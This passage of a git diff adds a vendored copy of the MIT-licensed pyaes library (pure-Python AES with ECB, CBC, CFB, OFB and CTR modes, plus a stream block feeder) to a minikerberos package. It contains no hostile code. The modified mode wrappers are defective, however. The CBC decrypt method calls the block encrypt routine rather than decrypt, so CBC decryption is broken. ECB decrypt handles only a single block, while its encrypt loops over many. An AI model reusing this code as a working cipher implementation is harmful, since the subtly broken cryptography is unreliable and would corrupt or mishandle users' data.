+	U4 = [ 0x00000000, 0x090d0b0e, 0x121a161c, 0x1b171d12, 0x24342c38, 0x2d392736, 0x362e3a24, 0x3f23312a, 0x48685870, 0x4165537e, 0x5a724e6c, 0x537f4562, 0x6c5c7448, 0x65517f46, 0x7e466254, 0x774b695a, 0x90d0b0e0, 0x99ddbbee, 0x82caa6fc, 0x8bc7adf2, 0xb4e49cd8, 0xbde997d6, 0xa6fe8ac4, 0xaff381ca, 0xd8b8e890, 0xd1b5e39e, 0xcaa2fe8c, 0xc3aff582, 0xfc8cc4a8, 0xf581cfa6, 0xee96d2b4, 0xe79bd9ba, 0x3bbb7bdb, 0x32b670d5, 0x29a16dc7, 0x20ac66c9, 0x1f8f57e3, 0x16825ced, 0x0d9541ff, 0x04984af1, 0x73d323ab, 0x7ade28a5, 0x61c935b7, 0x68c43eb9, 0x57e70f93, 0x5eea049d, 0x45fd198f, 0x4cf01281, 0xab6bcb3b, 0xa266c035, 0xb971dd27, 0xb07cd629, 0x8f5fe703, 0x8652ec0d, 0x9d45f11f, 0x9448fa11, 0xe303934b, 0xea0e9845, 0xf1198557, 0xf8148e59, 0xc737bf73, 0xce3ab47d, 0xd52da96f, 0xdc20a261, 0x766df6ad, 0x7f60fda3, 0x6477e0b1, 0x6d7aebbf, 0x5259da95, 0x5b54d19b, 0x4043cc89, 0x494ec787, 0x3e05aedd, 0x3708a5d3, 0x2c1fb8c1, 0x2512b3cf, 0x1a3182e5, 0x133c89eb, 0x082b94f9, 0x01269ff7, 0xe6bd464d, 0xefb04d43, 0xf4a75051, 0xfdaa5b5f, 0xc2896a75, 0xcb84617b, 0xd0937c69, 0xd99e7767, 0xaed51e3d, 0xa7d81533, 0xbccf0821, 0xb5c2032f, 0x8ae13205, 0x83ec390b, 0x98fb2419, 0x91f62f17, 0x4dd68d76, 0x44db8678, 0x5fcc9b6a, 0x56c19064, 0x69e2a14e, 0x60efaa40, 0x7bf8b752, 0x72f5bc5c, 0x05bed506, 0x0cb3de08, 0x17a4c31a, 0x1ea9c814, 0x218af93e, 0x2887f230, 0x3390ef22, 0x3a9de42c, 0xdd063d96, 0xd40b3698, 0xcf1c2b8a, 0xc6112084, 0xf93211ae, 0xf03f1aa0, 0xeb2807b2, 0xe2250cbc, 0x956e65e6, 0x9c636ee8, 0x877473fa, 0x8e7978f4, 0xb15a49de, 0xb85742d0, 0xa3405fc2, 0xaa4d54cc, 0xecdaf741, 0xe5d7fc4f, 0xfec0e15d, 0xf7cdea53, 0xc8eedb79, 0xc1e3d077, 0xdaf4cd65, 0xd3f9c66b, 0xa4b2af31, 0xadbfa43f, 0xb6a8b92d, 0xbfa5b223, 0x80868309, 0x898b8807, 0x929c9515, 0x9b919e1b, 0x7c0a47a1, 0x75074caf, 0x6e1051bd, 0x671d5ab3, 0x583e6b99, 0x51336097, 0x4a247d85, 0x4329768b, 0x34621fd1, 0x3d6f14df, 0x267809cd, 0x2f7502c3, 0x105633e9, 0x195b38e7, 0x024c25f5, 0x0b412efb, 0xd7618c9a, 0xde6c8794, 0xc57b9a86, 0xcc769188, 0xf355a0a2, 0xfa58abac, 0xe14fb6be, 0xe842bdb0, 0x9f09d4ea, 0x9604dfe4, 0x8d13c2f6, 0x841ec9f8, 0xbb3df8d2, 0xb230f3dc, 0xa927eece, 0xa02ae5c0, 0x47b13c7a, 0x4ebc3774, 0x55ab2a66, 0x5ca62168, 0x63851042, 0x6a881b4c, 0x719f065e, 0x78920d50, 0x0fd9640a, 0x06d46f04, 0x1dc37216, 0x14ce7918, 0x2bed4832, 0x22e0433c, 0x39f75e2e, 0x30fa5520, 0x9ab701ec, 0x93ba0ae2, 0x88ad17f0, 0x81a01cfe, 0xbe832dd4, 0xb78e26da, 0xac993bc8, 0xa59430c6, 0xd2df599c, 0xdbd25292, 0xc0c54f80, 0xc9c8448e, 0xf6eb75a4, 0xffe67eaa, 0xe4f163b8, 0xedfc68b6, 0x0a67b10c, 0x036aba02, 0x187da710, 0x1170ac1e, 0x2e539d34, 0x275e963a, 0x3c498b28, 0x35448026, 0x420fe97c, 0x4b02e272, 0x5015ff60, 0x5918f46e, 0x663bc544, 0x6f36ce4a, 0x7421d358, 0x7d2cd856, 0xa10c7a37, 0xa8017139, 0xb3166c2b, 0xba1b6725, 0x8538560f, 0x8c355d01, 0x97224013, 0x9e2f4b1d, 0xe9642247, 0xe0692949, 0xfb7e345b, 0xf2733f55, 0xcd500e7f, 0xc45d0571, 0xdf4a1863, 0xd647136d, 0x31dccad7, 0x38d1c1d9, 0x23c6dccb, 0x2acbd7c5, 0x15e8e6ef, 0x1ce5ede1, 0x07f2f0f3, 0x0efffbfd, 0x79b492a7, 0x70b999a9, 0x6bae84bb, 0x62a38fb5, 0x5d80be9f, 0x548db591, 0x4f9aa883, 0x4697a38d ]
+
+	def __init__(self, key):
+
+		if len(key) not in (16, 24, 32):
+			raise ValueError('Invalid key size')
+
+		rounds = self.number_of_rounds[len(key)]
+
+		# Encryption round keys
+		self._Ke = [[0] * 4 for i in xrange(rounds + 1)]
+
+		# Decryption round keys
+		self._Kd = [[0] * 4 for i in xrange(rounds + 1)]
+
+		round_key_count = (rounds + 1) * 4
+		KC = len(key) // 4
+
+		# Convert the key into ints
+		tk = [ struct.unpack('>i', key[i:i + 4])[0] for i in xrange(0, len(key), 4) ]
+
+		# Copy values into round key arrays
+		for i in xrange(0, KC):
+			self._Ke[i // 4][i % 4] = tk[i]
+			self._Kd[rounds - (i // 4)][i % 4] = tk[i]
+
+		# Key expansion (fips-197 section 5.2)
+		rconpointer = 0
+		t = KC
+		while t < round_key_count:
+
+			tt = tk[KC - 1]
+			tk[0] ^= ((self.S[(tt >> 16) & 0xFF] << 24) ^
+					  (self.S[(tt >>  8) & 0xFF] << 16) ^
+					  (self.S[ tt		& 0xFF] <<  8) ^
+					   self.S[(tt >> 24) & 0xFF]		^
+					  (self.rcon[rconpointer] << 24))
+			rconpointer += 1
+
+			if KC != 8:
+				for i in xrange(1, KC):
+					tk[i] ^= tk[i - 1]
+
+			# Key expansion for 256-bit keys is "slightly different" (fips-197)
+			else:
+				for i in xrange(1, KC // 2):
+					tk[i] ^= tk[i - 1]
+				tt = tk[KC // 2 - 1]
+
+				tk[KC // 2] ^= (self.S[ tt		& 0xFF]		^
+							   (self.S[(tt >>  8) & 0xFF] <<  8) ^
+							   (self.S[(tt >> 16) & 0xFF] << 16) ^
+							   (self.S[(tt >> 24) & 0xFF] << 24))
+
+				for i in xrange(KC // 2 + 1, KC):
+					tk[i] ^= tk[i - 1]
+
+			# Copy values into round key arrays
+			j = 0
+			while j < KC and t < round_key_count:
+				self._Ke[t // 4][t % 4] = tk[j]
+				self._Kd[rounds - (t // 4)][t % 4] = tk[j]
+				j += 1
+				t += 1
+
+		# Inverse-Cipher-ify the decryption round key (fips-197 section 5.3)
+		for r in xrange(1, rounds):
+			for j in xrange(0, 4):
+				tt = self._Kd[r][j]
+				self._Kd[r][j] = (self.U1[(tt >> 24) & 0xFF] ^
+								  self.U2[(tt >> 16) & 0xFF] ^
+								  self.U3[(tt >>  8) & 0xFF] ^
+								  self.U4[ tt		& 0xFF])
+
+	def encrypt(self, plaintext):
+		'Encrypt a block of plain text using the AES block cipher.'
+
+		if len(plaintext) != 16:
+			raise ValueError('wrong block length')
+
+		rounds = len(self._Ke) - 1
+		(s1, s2, s3) = [1, 2, 3]
+		a = [0, 0, 0, 0]
+
+		# Convert plaintext to (ints ^ key)
+		t = [(_compact_word(plaintext[4 * i:4 * i + 4]) ^ self._Ke[0][i]) for i in xrange(0, 4)]
+
+		# Apply round transforms
+		for r in xrange(1, rounds):
+			for i in xrange(0, 4):
+				a[i] = (self.T1[(t[ i		  ] >> 24) & 0xFF] ^
+						self.T2[(t[(i + s1) % 4] >> 16) & 0xFF] ^
+						self.T3[(t[(i + s2) % 4] >>  8) & 0xFF] ^
+						self.T4[ t[(i + s3) % 4]		& 0xFF] ^
+						self._Ke[r][i])
+			t = copy.copy(a)
+
+		# The last round is special
+		result = [ ]
+		for i in xrange(0, 4):
+			tt = self._Ke[rounds][i]
+			result.append((self.S[(t[ i		   ] >> 24) & 0xFF] ^ (tt >> 24)) & 0xFF)
+			result.append((self.S[(t[(i + s1) % 4] >> 16) & 0xFF] ^ (tt >> 16)) & 0xFF)
+			result.append((self.S[(t[(i + s2) % 4] >>  8) & 0xFF] ^ (tt >>  8)) & 0xFF)
+			result.append((self.S[ t[(i + s3) % 4]		& 0xFF] ^  tt	   ) & 0xFF)
+
+		return result
+
+	def decrypt(self, ciphertext):
+		'Decrypt a block of cipher text using the AES block cipher.'
+
+		if len(ciphertext) != 16:
+			raise ValueError('wrong block length')
+
+		rounds = len(self._Kd) - 1
+		(s1, s2, s3) = [3, 2, 1]
+		a = [0, 0, 0, 0]
+
+		# Convert ciphertext to (ints ^ key)
+		t = [(_compact_word(ciphertext[4 * i:4 * i + 4]) ^ self._Kd[0][i]) for i in xrange(0, 4)]
+
+		# Apply round transforms
+		for r in xrange(1, rounds):
+			for i in xrange(0, 4):
+				a[i] = (self.T5[(t[ i		  ] >> 24) & 0xFF] ^
+						self.T6[(t[(i + s1) % 4] >> 16) & 0xFF] ^
+						self.T7[(t[(i + s2) % 4] >>  8) & 0xFF] ^
+						self.T8[ t[(i + s3) % 4]		& 0xFF] ^
+						self._Kd[r][i])
+			t = copy.copy(a)
+
+		# The last round is special
+		result = [ ]
+		for i in xrange(0, 4):
+			tt = self._Kd[rounds][i]
+			result.append((self.Si[(t[ i		   ] >> 24) & 0xFF] ^ (tt >> 24)) & 0xFF)
+			result.append((self.Si[(t[(i + s1) % 4] >> 16) & 0xFF] ^ (tt >> 16)) & 0xFF)
+			result.append((self.Si[(t[(i + s2) % 4] >>  8) & 0xFF] ^ (tt >>  8)) & 0xFF)
+			result.append((self.Si[ t[(i + s3) % 4]		& 0xFF] ^  tt	   ) & 0xFF)
+
+		return result
+
+
+class Counter(object):
+	'''A counter object for the Counter (CTR) mode of operation.
+
+	   To create a custom counter, you can usually just override the
+	   increment method.'''
+
+	def __init__(self, initial_value = 1):
+
+		# Convert the value into an array of bytes long
+		self._counter = [ ((initial_value >> i) % 256) for i in xrange(128 - 8, -1, -8) ]
+
+	value = property(lambda s: s._counter)
+
+	def increment(self):
+		'''Increment the counter (overflow rolls back to 0).'''
+
+		for i in xrange(len(self._counter) - 1, -1, -1):
+			self._counter[i] += 1
+
+			if self._counter[i] < 256: break
+
+			# Carry the one
+			self._counter[i] = 0
+
+		# Overflow
+		else:
+			self._counter = [ 0 ] * len(self._counter)
+
+
+class AESBlockModeOfOperation(object):
+	'''Super-class for AES modes of operation that require blocks.'''
+	def __init__(self, key):
+		self._aes = AES(key)
+
+	def decrypt(self, ciphertext):
+		raise Exception('not implemented')
+
+	def encrypt(self, plaintext):
+		raise Exception('not implemented')
+
+
+class AESStreamModeOfOperation(AESBlockModeOfOperation):
+	'''Super-class for AES modes of operation that are stream-ciphers.'''
+
+class AESSegmentModeOfOperation(AESStreamModeOfOperation):
+	'''Super-class for AES modes of operation that segment data.'''
+
+	segment_bytes = 16
+
+
+
+class AESModeOfOperationECB(AESBlockModeOfOperation):
+	'''AES Electronic Codebook Mode of Operation.
+
+	   o Block-cipher, so data must be padded to 16 byte boundaries
+
+   Security Notes:
+	   o This mode is not recommended
+	   o Any two identical blocks produce identical encrypted values,
+		 exposing data patterns. (See the image of Tux on wikipedia)
+
+   Also see:
+	   o https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation#Electronic_codebook_.28ECB.29
+	   o See NIST SP800-38A (http://csrc.nist.gov/publications/nistpubs/800-38a/sp800-38a.pdf); section 6.1'''
+
+
+	name = "Electronic Codebook (ECB)"
+	
+	def encrypt(self, plaintext):
+		encrypted = b''
+		n = 16
+		for block in [plaintext[i:i+n] for i in range(0, len(plaintext), n)]:  #terrible, terrible workaround
+			encrypted += self._encrypt(block)
+		return encrypted
+
+	def _encrypt(self, plaintext):
+		if len(plaintext) != 16:
+			raise ValueError('plaintext block must be 16 bytes')
+
+		plaintext = _string_to_bytes(plaintext)
+		return _bytes_to_string(self._aes.encrypt(plaintext))
+
+	def decrypt(self, ciphertext):
+		if len(ciphertext) != 16:
+			raise ValueError('ciphertext block must be 16 bytes')
+
+		ciphertext = _string_to_bytes(ciphertext)
+		return _bytes_to_string(self._aes.decrypt(ciphertext))
+
+
+
+class AESModeOfOperationCBC(AESBlockModeOfOperation):
+	'''AES Cipher-Block Chaining Mode of Operation.
+
+	   o The Initialization Vector (IV)
+	   o Block-cipher, so data must be padded to 16 byte boundaries
+	   o An incorrect initialization vector will only cause the first
+		 block to be corrupt; all other blocks will be intact
+	   o A corrupt bit in the cipher text will cause a block to be
+		 corrupted, and the next block to be inverted, but all other
+		 blocks will be intact.
+
+   Security Notes:
+	   o This method (and CTR) ARE recommended.
+
+   Also see:
+	   o https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation#Cipher-block_chaining_.28CBC.29
+	   o See NIST SP800-38A (http://csrc.nist.gov/publications/nistpubs/800-38a/sp800-38a.pdf); section 6.2'''
+
+
+	name = "Cipher-Block Chaining (CBC)"
+
+	def __init__(self, key, iv = None):
+		if iv is None:
+			self._last_cipherblock = [ 0 ] * 16
+		elif len(iv) != 16:
+			raise ValueError('initialization vector must be 16 bytes')
+		else:
+			self._last_cipherblock = _string_to_bytes(iv)
+
+		AESBlockModeOfOperation.__init__(self, key)
+		
+	def encrypt(self, plaintext):
+		encrypted = b''
+		n = 16
+		for block in [plaintext[i:i+n] for i in range(0, len(plaintext), n)]:  #terrible, terrible workaround
+			encrypted += self._encrypt(block)
+		return encrypted
+		
+	def decrypt(self, encrypted):
+		plaintext = b''
+		n = 16
+		for block in [encrypted[i:i+n] for i in range(0, len(encrypted), n)]:  #terrible, terrible workaround
+			plaintext += self._encrypt(block)
+		return plaintext
+
+	def _encrypt(self, plaintext):
+		if len(plaintext) != 16:
+			raise ValueError('plaintext block must be 16 bytes')
+
+		plaintext = _string_to_bytes(plaintext)
+		precipherblock = [ (p ^ l) for (p, l) in zip(plaintext, self._last_cipherblock) ]
+		self._last_cipherblock = self._aes.encrypt(precipherblock)
+
+		return _bytes_to_string(self._last_cipherblock)
+
+	def _decrypt(self, ciphertext):
+		if len(ciphertext) != 16:
+			raise ValueError('ciphertext block must be 16 bytes')
+
+		cipherblock = _string_to_bytes(ciphertext)
+		plaintext = [ (p ^ l) for (p, l) in zip(self._aes.decrypt(cipherblock), self._last_cipherblock) ]
+		self._last_cipherblock = cipherblock
+
+		return _bytes_to_string(plaintext)
+
+
+
+class AESModeOfOperationCFB(AESSegmentModeOfOperation):
+	'''AES Cipher Feedback Mode of Operation.
+
+	   o A stream-cipher, so input does not need to be padded to blocks,
+		 but does need to be padded to segment_size
+
+	Also see:
+	   o https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation#Cipher_feedback_.28CFB.29
+	   o See NIST SP800-38A (http://csrc.nist.gov/publications/nistpubs/800-38a/sp800-38a.pdf); section 6.3'''
+
+
+	name = "Cipher Feedback (CFB)"
+
+	def __init__(self, key, iv, segment_size = 1):
+		if segment_size == 0: segment_size = 1
+
+		if iv is None:
+			self._shift_register = [ 0 ] * 16
+		elif len(iv) != 16:
+			raise ValueError('initialization vector must be 16 bytes')
+		else:
+		  self._shift_register = _string_to_bytes(iv)
+
+		self._segment_bytes = segment_size
+
+		AESBlockModeOfOperation.__init__(self, key)
+
+	segment_bytes = property(lambda s: s._segment_bytes)
+
+	def encrypt(self, plaintext):
+		if len(plaintext) % self._segment_bytes != 0:
+			raise ValueError('plaintext block must be a multiple of segment_size')
+
+		plaintext = _string_to_bytes(plaintext)
+
+		# Break block into segments
+		encrypted = [ ]
+		for i in xrange(0, len(plaintext), self._segment_bytes):
+			plaintext_segment = plaintext[i: i + self._segment_bytes]
+			xor_segment = self._aes.encrypt(self._shift_register)[:len(plaintext_segment)]
+			cipher_segment = [ (p ^ x) for (p, x) in zip(plaintext_segment, xor_segment) ]
+
+			# Shift the top bits out and the ciphertext in
+			self._shift_register = _concat_list(self._shift_register[len(cipher_segment):], cipher_segment)
+
+			encrypted.extend(cipher_segment)
+
+		return _bytes_to_string(encrypted)
+
+	def decrypt(self, ciphertext):
+		if len(ciphertext) % self._segment_bytes != 0:
+			raise ValueError('ciphertext block must be a multiple of segment_size')
+
+		ciphertext = _string_to_bytes(ciphertext)
+
+		# Break block into segments
+		decrypted = [ ]
+		for i in xrange(0, len(ciphertext), self._segment_bytes):
+			cipher_segment = ciphertext[i: i + self._segment_bytes]
+			xor_segment = self._aes.encrypt(self._shift_register)[:len(cipher_segment)]
+			plaintext_segment = [ (p ^ x) for (p, x) in zip(cipher_segment, xor_segment) ]
+
+			# Shift the top bits out and the ciphertext in
+			self._shift_register = _concat_list(self._shift_register[len(cipher_segment):], cipher_segment)
+
+			decrypted.extend(plaintext_segment)
+
+		return _bytes_to_string(decrypted)
+
+
+
+class AESModeOfOperationOFB(AESStreamModeOfOperation):
+	'''AES Output Feedback Mode of Operation.
+
+	   o A stream-cipher, so input does not need to be padded to blocks,
+		 allowing arbitrary length data.
+	   o A bit twiddled in the cipher text, twiddles the same bit in the
+		 same bit in the plain text, which can be useful for error
+		 correction techniques.
+
+	Also see:
+	   o https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation#Output_feedback_.28OFB.29
+	   o See NIST SP800-38A (http://csrc.nist.gov/publications/nistpubs/800-38a/sp800-38a.pdf); section 6.4'''
+
+
+	name = "Output Feedback (OFB)"
+
+	def __init__(self, key, iv = None):
+		if iv is None:
+			self._last_precipherblock = [ 0 ] * 16
+		elif len(iv) != 16:
+			raise ValueError('initialization vector must be 16 bytes')
+		else:
+		  self._last_precipherblock = _string_to_bytes(iv)
+
+		self._remaining_block = [ ]
+
+		AESBlockModeOfOperation.__init__(self, key)
+
+	def encrypt(self, plaintext):
+		encrypted = [ ]
+		for p in _string_to_bytes(plaintext):
+			if len(self._remaining_block) == 0:
+				self._remaining_block = self._aes.encrypt(self._last_precipherblock)
+				self._last_precipherblock = [ ]
+			precipherbyte = self._remaining_block.pop(0)
+			self._last_precipherblock.append(precipherbyte)
+			cipherbyte = p ^ precipherbyte
+			encrypted.append(cipherbyte)
+
+		return _bytes_to_string(encrypted)
+
+	def decrypt(self, ciphertext):
+		# AES-OFB is symetric
+		return self.encrypt(ciphertext)
+
+
+
+class AESModeOfOperationCTR(AESStreamModeOfOperation):
+	'''AES Counter Mode of Operation.
+
+	   o A stream-cipher, so input does not need to be padded to blocks,
+		 allowing arbitrary length data.
+	   o The counter must be the same size as the key size (ie. len(key))
+	   o Each block independant of the other, so a corrupt byte will not
+		 damage future blocks.
+	   o Each block has a uniue counter value associated with it, which
+		 contributes to the encrypted value, so no data patterns are
+		 leaked.
+	   o Also known as: Counter Mode (CM), Integer Counter Mode (ICM) and
+		 Segmented Integer Counter (SIC
+
+   Security Notes:
+	   o This method (and CBC) ARE recommended.
+	   o Each message block is associated with a counter value which must be
+		 unique for ALL messages with the same key. Otherwise security may be
+		 compromised.
+
+	Also see:
+
+	   o https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation#Counter_.28CTR.29
+	   o See NIST SP800-38A (http://csrc.nist.gov/publications/nistpubs/800-38a/sp800-38a.pdf); section 6.5
+		 and Appendix B for managing the initial counter'''
+
+
+	name = "Counter (CTR)"
+
+	def __init__(self, key, counter = None):
+		AESBlockModeOfOperation.__init__(self, key)
+
+		if counter is None:
+			counter = Counter()
+
+		self._counter = counter
+		self._remaining_counter = [ ]
+
+	def encrypt(self, plaintext):
+		while len(self._remaining_counter) < len(plaintext):
+			self._remaining_counter += self._aes.encrypt(self._counter.value)
+			self._counter.increment()
+
+		plaintext = _string_to_bytes(plaintext)
+
+		encrypted = [ (p ^ c) for (p, c) in zip(plaintext, self._remaining_counter) ]
+		self._remaining_counter = self._remaining_counter[len(encrypted):]
+
+		return _bytes_to_string(encrypted)
+
+	def decrypt(self, crypttext):
+		# AES-CTR is symetric
+		return self.encrypt(crypttext)
+
+
+# Simple lookup table for each mode
+AESModesOfOperation = dict(
+	ctr = AESModeOfOperationCTR,
+	cbc = AESModeOfOperationCBC,
+	cfb = AESModeOfOperationCFB,
+	ecb = AESModeOfOperationECB,
+	ofb = AESModeOfOperationOFB,
+)
diff --git a/minikerberos/crypto/AES/__init__.py b/minikerberos/crypto/AES/__init__.py
new file mode 100644
index 0000000..15010d5
--- /dev/null
+++ b/minikerberos/crypto/AES/__init__.py
@@ -0,0 +1,54 @@
+#https://raw.githubusercontent.com/ricmoo/pyaes/master/pyaes/__init__.py
+# The MIT License (MIT)
+#
+# Copyright (c) 2014 Richard Moore
+#
+# Permission is hereby granted, free of charge, to any person obtaining a copy
+# of this software and associated documentation files (the "Software"), to deal
+# in the Software without restriction, including without limitation the rights
+# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+# copies of the Software, and to permit persons to whom the Software is
+# furnished to do so, subject to the following conditions:
+#
+# The above copyright notice and this permission notice shall be included in
+# all copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+# THE SOFTWARE.
+
+# This is a pure-Python implementation of the AES algorithm and AES common
+# modes of operation.
+
+# See: https://en.wikipedia.org/wiki/Advanced_Encryption_Standard
+# See: https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation
+
+
+# Supported key sizes:
+#   128-bit
+#   192-bit
+#   256-bit
+
+
+# Supported modes of operation:
+#   ECB - Electronic Codebook
+#   CBC - Cipher-Block Chaining
+#   CFB - Cipher Feedback
+#   OFB - Output Feedback
+#   CTR - Counter
+
+# See the README.md for API details and general information.
+
+# Also useful, PyCrypto, a crypto library implemented in C with Python bindings:
+# https://www.dlitz.net/software/pycrypto/
+
+
+VERSION = [1, 3, 0]
+
+from .AES import AES, AESModeOfOperationCTR, AESModeOfOperationCBC, AESModeOfOperationCFB, AESModeOfOperationECB, AESModeOfOperationOFB, AESModesOfOperation, Counter
+from .blockfeeder import decrypt_stream, Decrypter, encrypt_stream, Encrypter
+from .blockfeeder import PADDING_NONE, PADDING_DEFAULT
diff --git a/minikerberos/crypto/AES/blockfeeder.py b/minikerberos/crypto/AES/blockfeeder.py
new file mode 100644
index 0000000..0da57c9
--- /dev/null
+++ b/minikerberos/crypto/AES/blockfeeder.py
@@ -0,0 +1,229 @@
+
+#https://github.com/ricmoo/pyaes/blob/master/pyaes/blockfeeder.py
+# The MIT License (MIT)
+#
+# Copyright (c) 2014 Richard Moore
+#
+# Permission is hereby granted, free of charge, to any person obtaining a copy
+# of this software and associated documentation files (the "Software"), to deal
+# in the Software without restriction, including without limitation the rights
+# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+# copies of the Software, and to permit persons to whom the Software is
+# furnished to do so, subject to the following conditions:
+#
+# The above copyright notice and this permission notice shall be included in
+# all copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+# THE SOFTWARE.
+
+
+from .AES import AESBlockModeOfOperation, AESSegmentModeOfOperation, AESStreamModeOfOperation
+from .util import append_PKCS7_padding, strip_PKCS7_padding, to_bufferable
+
+
+# First we inject three functions to each of the modes of operations
+#
+#    _can_consume(size)
+#       - Given a size, determine how many bytes could be consumed in
+#         a single call to either the decrypt or encrypt method
+#
+#    _final_encrypt(data, padding = PADDING_DEFAULT)
+#       - call and return encrypt on this (last) chunk of data,
+#         padding as necessary; this will always be at least 16
+#         bytes unless the total incoming input was less than 16
+#         bytes
+#
+#    _final_decrypt(data, padding = PADDING_DEFAULT)
+#       - same as _final_encrypt except for decrypt, for
+#         stripping off padding
+#
+
+PADDING_NONE       = 'none'
+PADDING_DEFAULT    = 'default'
+
+# @TODO: Ciphertext stealing and explicit PKCS#7
+# PADDING_CIPHERTEXT_STEALING
+# PADDING_PKCS7
+
+# ECB and CBC are block-only ciphers
+
+def _block_can_consume(self, size):
+    if size >= 16: return 16
+    return 0
+
+# After padding, we may have more than one block
+def _block_final_encrypt(self, data, padding = PADDING_DEFAULT):
+    if padding == PADDING_DEFAULT:
+        data = append_PKCS7_padding(data)
+
+    elif padding == PADDING_NONE:
+        if len(data) != 16:
+            raise Exception('invalid data length for final block')
+    else:
+        raise Exception('invalid padding option')
+
+    if len(data) == 32:
+        return self.encrypt(data[:16]) + self.encrypt(data[16:])
+
+    return self.encrypt(data)
+
+
+def _block_final_decrypt(self, data, padding = PADDING_DEFAULT):
+    if padding == PADDING_DEFAULT:
+        return strip_PKCS7_padding(self.decrypt(data))
+
+    if padding == PADDING_NONE:
+        if len(data) != 16:
+            raise Exception('invalid data length for final block')
+        return self.decrypt(data)
+
+    raise Exception('invalid padding option')
+
+AESBlockModeOfOperation._can_consume = _block_can_consume
+AESBlockModeOfOperation._final_encrypt = _block_final_encrypt
+AESBlockModeOfOperation._final_decrypt = _block_final_decrypt
+
+
+
+# CFB is a segment cipher
+
+def _segment_can_consume(self, size):
+    return self.segment_bytes * int(size // self.segment_bytes)
+
+# CFB can handle a non-segment-sized block at the end using the remaining cipherblock
+def _segment_final_encrypt(self, data, padding = PADDING_DEFAULT):
+    if padding != PADDING_DEFAULT:
+        raise Exception('invalid padding option')
+
+    faux_padding = (chr(0) * (self.segment_bytes - (len(data) % self.segment_bytes)))
+    padded = data + to_bufferable(faux_padding)
+    return self.encrypt(padded)[:len(data)]
+
+# CFB can handle a non-segment-sized block at the end using the remaining cipherblock
+def _segment_final_decrypt(self, data, padding = PADDING_DEFAULT):
+    if padding != PADDING_DEFAULT:
+        raise Exception('invalid padding option')
+
+    faux_padding = (chr(0) * (self.segment_bytes - (len(data) % self.segment_bytes)))
+    padded = data + to_bufferable(faux_padding)
+    return self.decrypt(padded)[:len(data)]
+
+AESSegmentModeOfOperation._can_consume = _segment_can_consume
+AESSegmentModeOfOperation._final_encrypt = _segment_final_encrypt
+AESSegmentModeOfOperation._final_decrypt = _segment_final_decrypt
+
+
+
+# OFB and CTR are stream ciphers
+
+def _stream_can_consume(self, size):
+    return size
+
+def _stream_final_encrypt(self, data, padding = PADDING_DEFAULT):
+    if padding not in [PADDING_NONE, PADDING_DEFAULT]:
+        raise Exception('invalid padding option')
+
+    return self.encrypt(data)
+
+def _stream_final_decrypt(self, data, padding = PADDING_DEFAULT):
+    if padding not in [PADDING_NONE, PADDING_DEFAULT]:
+        raise Exception('invalid padding option')
+
+    return self.decrypt(data)
+
+AESStreamModeOfOperation._can_consume = _stream_can_consume
+AESStreamModeOfOperation._final_encrypt = _stream_final_encrypt
+AESStreamModeOfOperation._final_decrypt = _stream_final_decrypt
+
+
+
+class BlockFeeder(object):
+    '''The super-class for objects to handle chunking a stream of bytes
+       into the appropriate block size for the underlying mode of operation
+       and applying (or stripping) padding, as necessary.'''
+
+    def __init__(self, mode, feed, final, padding = PADDING_DEFAULT):
+        self._mode = mode
+        self._feed = feed
+        self._final = final
+        self._buffer = to_bufferable("")
+        self._padding = padding
+
+    def feed(self, data = None):
+        '''Provide bytes to encrypt (or decrypt), returning any bytes
+           possible from this or any previous calls to feed.
+
+           Call with None or an empty string to flush the mode of
+           operation and return any final bytes; no further calls to
+           feed may be made.'''
+
+        if self._buffer is None:
+            raise ValueError('already finished feeder')
+
+        # Finalize; process the spare bytes we were keeping
+        if data is None:
+            result = self._final(self._buffer, self._padding)
+            self._buffer = None
+            return result
+
+        self._buffer += to_bufferable(data)
+
+        # We keep 16 bytes around so we can determine padding
+        result = to_bufferable('')
+        while len(self._buffer) > 16:
+            can_consume = self._mode._can_consume(len(self._buffer) - 16)
+            if can_consume == 0: break
+            result += self._feed(self._buffer[:can_consume])
+            self._buffer = self._buffer[can_consume:]
+
+        return result
+
+
+class Encrypter(BlockFeeder):
+    'Accepts bytes of plaintext and returns encrypted ciphertext.'
+
+    def __init__(self, mode, padding = PADDING_DEFAULT):
+        BlockFeeder.__init__(self, mode, mode.encrypt, mode._final_encrypt, padding)
+
+
+class Decrypter(BlockFeeder):
+    'Accepts bytes of ciphertext and returns decrypted plaintext.'
+
+    def __init__(self, mode, padding = PADDING_DEFAULT):
+        BlockFeeder.__init__(self, mode, mode.decrypt, mode._final_decrypt, padding)
+
+
+# 8kb blocks
+BLOCK_SIZE = (1 << 13)
+
+def _feed_stream(feeder, in_stream, out_stream, block_size = BLOCK_SIZE):
+    'Uses feeder to read and convert from in_stream and write to out_stream.'
+
+    while True:
+        chunk = in_stream.read(block_size)
+        if not chunk:
+            break
+        converted = feeder.feed(chunk)
+        out_stream.write(converted)
+    converted = feeder.feed()
+    out_stream.write(converted)
+
+
